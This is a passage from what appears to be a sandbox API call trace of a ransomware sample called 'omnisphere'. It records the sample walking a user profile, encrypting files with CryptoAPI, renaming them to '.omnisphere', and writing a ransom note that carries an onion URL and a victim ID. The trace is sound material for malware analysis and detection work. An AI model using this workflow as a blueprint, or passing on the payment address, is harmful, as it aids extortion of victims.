ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0055.440] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Contacts", cAlternateFileName="")) returned 1 [0055.440] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Cookies", cAlternateFileName="")) returned 1 [0055.440] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x17fadf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x17fadf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Desktop", cAlternateFileName="")) returned 1 [0055.441] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe66a2844, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe66a2844, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0055.441] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0055.441] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0055.441] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Links", cAlternateFileName="")) returned 1 [0055.441] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0055.441] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe6714db2, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xe6714db2, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="Music", cAlternateFileName="")) returned 1 [0055.441] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0055.441] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="NetHood", cAlternateFileName="")) returned 1 [0055.441] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa9c141bf, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xa9c141bf, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x2c0000, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0055.441] GetProcessHeap () returned 0x1600000 [0055.441] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x44) returned 0x161bce8 [0055.441] PathCombineW (in: pszDest=0x161bce8, pszDir="C:\\Users\\FD1HVy", pszFile="NTUSER.DAT" | out: pszDest="C:\\Users\\FD1HVy\\NTUSER.DAT") returned="C:\\Users\\FD1HVy\\NTUSER.DAT" [0055.441] StrStrW (lpFirst=".omnisphere", lpSrch=".DAT") returned 0x0 [0055.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT" (normalized: "c:\\users\\fd1hvy\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.442] GetProcessHeap () returned 0x1600000 [0055.442] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x161bce8 | out: hHeap=0x1600000) returned 1 [0055.442] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0xa2000, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0055.442] GetProcessHeap () returned 0x1600000 [0055.442] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x4e) returned 0x16351a0 [0055.442] PathCombineW (in: pszDest=0x16351a0, pszDir="C:\\Users\\FD1HVy", pszFile="ntuser.dat.LOG1" | out: pszDest="C:\\Users\\FD1HVy\\ntuser.dat.LOG1") returned="C:\\Users\\FD1HVy\\ntuser.dat.LOG1" [0055.442] StrStrW (lpFirst=".omnisphere", lpSrch=".LOG1") returned 0x0 [0055.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.442] GetProcessHeap () returned 0x1600000 [0055.442] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16351a0 | out: hHeap=0x1600000) returned 1 [0055.442] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x21204700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0055.442] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x21204700, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21204700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0055.442] GetProcessHeap () returned 0x1600000 [0055.442] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x160faa0 [0055.442] PathCombineW (in: pszDest=0x160faa0, pszDir="C:\\Users\\FD1HVy", pszFile="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" | out: pszDest="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf") returned="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" [0055.443] StrStrW (lpFirst=".omnisphere", lpSrch=".blf") returned 0x0 [0055.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.443] GetProcessHeap () returned 0x1600000 [0055.443] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160faa0 | out: hHeap=0x1600000) returned 1 [0055.443] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0055.443] GetProcessHeap () returned 0x1600000 [0055.443] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe8) returned 0x16414e8 [0055.443] PathCombineW (in: pszDest=0x16414e8, pszDir="C:\\Users\\FD1HVy", pszFile="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" | out: pszDest="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" [0055.443] StrStrW (lpFirst=".omnisphere", lpSrch=".regtrans-ms") returned 0x0 [0055.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.444] GetProcessHeap () returned 0x1600000 [0055.444] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16414e8 | out: hHeap=0x1600000) returned 1 [0055.444] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2122a949, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2122a949, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4edc6408, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0055.444] GetProcessHeap () returned 0x1600000 [0055.444] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe8) returned 0x16414e8 [0055.444] PathCombineW (in: pszDest=0x16414e8, pszDir="C:\\Users\\FD1HVy", pszFile="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" | out: pszDest="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" [0055.444] StrStrW (lpFirst=".omnisphere", lpSrch=".regtrans-ms") returned 0x0 [0055.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.444] GetProcessHeap () returned 0x1600000 [0055.444] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16414e8 | out: hHeap=0x1600000) returned 1 [0055.444] FindNextFileW (in: hFindFile=0x16397e8, lpFindFileData=0x3e0f390 | out: lpFindFileData=0x3e0f390*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xc1adea7d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc1adea7d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc1adea7d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x8, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0055.444] GetProcessHeap () returned 0x1600000 [0055.444] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x44) returned 0x161c0f8 [0055.445] PathCombineW (in: pszDest=0x161c0f8, pszDir="C:\\Users\\FD1HVy", pszFile="ntuser.ini" | out: pszDest="C:\\Users\\FD1HVy\\ntuser.ini") returned="C:\\Users\\FD1HVy\\ntuser.ini" [0055.445] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0055.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\ntuser.ini" (normalized: "c:\\users\\fd1hvy\\ntuser.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0055.445] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3e0f0b8 | out: lpFileSize=0x3e0f0b8*=20) returned 1 [0055.445] GetTickCount () returned 0x114e37b [0055.445] GetTickCount () returned 0x114e37b [0055.445] GetTickCount () returned 0x114e37b [0055.445] GetTickCount () returned 0x114e37b [0055.446] GetTickCount () returned 0x114e38b [0055.446] GetTickCount () returned 0x114e38b [0055.446] GetTickCount () returned 0x114e38b [0055.446] GetTickCount () returned 0x114e38b [0055.446] GetTickCount () returned 0x114e38b [0055.446] GetTickCount () returned 0x114e38b [0055.446] GetTickCount () returned 0x114e38b [0055.446] GetTickCount () returned 0x114e38b [0055.446] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.447] GetTickCount () returned 0x114e38b [0055.448] GetTickCount () returned 0x114e38b [0055.448] GetTickCount () returned 0x114e38b [0055.448] GetTickCount () returned 0x114e38b [0055.448] GetTickCount () returned 0x114e38b [0055.448] GetTickCount () returned 0x114e38b [0055.448] CryptAcquireContextW (in: phProv=0x3e0eb40, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0eb40*=0x163c498) returned 1 [0055.449] CryptImportKey (in: hProv=0x163c498, pbData=0x3e0eaa8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0eb4c | out: phKey=0x3e0eb4c*=0x16395a8) returned 1 [0055.449] CryptEncrypt (in: hKey=0x16395a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eff8*, pdwDataLen=0x3e0eb3c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eff8*, pdwDataLen=0x3e0eb3c*=0x80) returned 1 [0055.449] CryptDestroyKey (hKey=0x16395a8) returned 1 [0055.449] CryptReleaseContext (hProv=0x163c498, dwFlags=0x0) returned 1 [0055.449] CreateFileMappingW (hFile=0x36c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14, lpName=0x0) returned 0x370 [0055.450] MapViewOfFile (hFileMappingObject=0x370, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14) returned 0x3430000 [0055.450] CryptAcquireContextW (in: phProv=0x3e0eb30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0eb30*=0x163bd28) returned 1 [0055.451] CryptImportKey (in: hProv=0x163bd28, pbData=0x3e0eae8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0eb40 | out: phKey=0x3e0eb40*=0x1639b28) returned 1 [0055.451] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0eb24*=0x2, dwFlags=0x0) returned 1 [0055.451] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0eb2c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0eb2c*=0x10) returned 1 [0055.451] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0eb14*, pdwDataLen=0x3e0eb28*=0x10, dwBufLen=0x10 | out: pbData=0x3e0eb14*, pdwDataLen=0x3e0eb28*=0x10) returned 1 [0055.618] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0eb14*, pdwDataLen=0x3e0eb28*=0x10, dwBufLen=0x10 | out: pbData=0x3e0eb14*, pdwDataLen=0x3e0eb28*=0x10) returned 1 [0055.618] CryptDestroyKey (hKey=0x1639b28) returned 1 [0055.619] CryptReleaseContext (hProv=0x163bd28, dwFlags=0x0) returned 1 [0055.619] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x14, lpNewFilePointer=0x0, dwMoveMethod=0x3e0f0ac | out: lpNewFilePointer=0x0) returned 1 [0055.619] WriteFile (in: hFile=0x36c, lpBuffer=0x3e0eb60*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0f0c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0eb60*, lpNumberOfBytesWritten=0x3e0f0c0*=0x524, lpOverlapped=0x0) returned 1 [0055.735] GetProcessHeap () returned 0x1600000 [0055.735] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x254) returned 0x16491d0 [0055.735] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\ntuser.ini" (normalized: "c:\\users\\fd1hvy\\ntuser.ini"), lpNewFileName="C:\\Users\\FD1HVy\\ntuser.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\ntuser.ini.omnisphere")) returned 1 [0055.738] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\ntuser.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\ntuser.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\ntuser.ini.omnisphere.id" [0055.738] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\ntuser.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\ntuser.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0055.739] WriteFile (in: hFile=0x37c, lpBuffer=0x3e0eb60*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0eb48, lpOverlapped=0x0 | out: lpBuffer=0x3e0eb60*, lpNumberOfBytesWritten=0x3e0eb48*=0x524, lpOverlapped=0x0) returned 1 [0055.740] CloseHandle (hObject=0x37c) returned 1 [0055.741] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0055.741] CloseHandle (hObject=0x370) returned 1 [0055.741] SetEndOfFile (hFile=0x36c) returned 1 [0055.741] FlushFileBuffers (hFile=0x36c) returned 1 [0057.390] CloseHandle (hObject=0x36c) returned 1 [0057.390] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\ntuser.ini" | out: pszPath="C:\\Users\\FD1HVy") returned 1 [0057.390] GetProcessHeap () returned 0x1600000 [0057.390] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164ba00 [0057.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0057.391] GetProcessHeap () returned 0x1600000 [0057.391] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641c28 [0057.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641c28, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0057.391] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0057.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0057.391] GetProcessHeap () returned 0x1600000 [0057.391] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x163a890 [0057.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x163a890, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0057.391] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0057.391] GetProcessHeap () returned 0x1600000 [0057.391] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5e) returned 0x1649160 [0057.391] PathCombineW (in: pszDest=0x1649160, pszDir="C:\\Users\\FD1HVy", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\!DECRYPT_OMNISPHERE.txt" [0057.391] GetProcessHeap () returned 0x1600000 [0057.391] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x164bf20 [0057.392] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0057.393] WriteFile (in: hFile=0x36c, lpBuffer=0x164bf20*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0f0e0, lpOverlapped=0x0 | out: lpBuffer=0x164bf20*, lpNumberOfBytesWritten=0x3e0f0e0*=0x588, lpOverlapped=0x0) returned 1 [0057.394] CloseHandle (hObject=0x36c) returned 1 [0057.395] GetProcessHeap () returned 